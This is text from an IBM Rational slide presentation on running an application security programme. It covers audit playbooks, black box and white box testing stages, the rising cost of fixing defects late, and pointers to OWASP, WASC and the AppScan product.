• Quarterly Audit

Foundation Components

• Playbook
  – Corporate Policy
  – Exception Handling

• Resource Library
  – Security Principles
  – Threat Classification
  – Certified Components
  – Feedback Mechanism (Inside, Outside)
Application Security - When?

1. **Black Box**
   - Risk Profile
   - Threat Modeling
   - Component Tests
   - Build Audits
   - QA Audits
   - Security Assessment
   - Quarterly Audits

2. **White Box**
   - Build Audits
   - QA Audits
   - Code Review

---

**Financial Impact**

- Cost to Fix dramatically increases the longer you wait to test.

![Graph showing relative cost to fix defects](chart.png)

- **1X** in Design
- **6.5X** in Development
- **15X** in Testing
- **100X** in Deployment & Operations

*Source: Implementing Software Inspections, IBM Systems Sciences Institute, IBM*
Q & A

Questions?

Additional Resources

• OWASP
  – www.owasp.org
  – Top Ten List
  – Secure Development

• Web Application Security Consortium
  – www.webappsec.org
  – Threat Classification
  – Web Hacking Incidents Database
Additional Resources

• Download free trial of IBM Rational AppScan 7.8:

• Library: Whitepapers, analyst reports, brochures, etc:

• IBM Rational upcoming events:

Thanks for joining me today!

Armando Bioc
Office: 650-592-5274
abioc@us.ibm.com
www-306.ibm.com/software/rational/offerings/websecurity/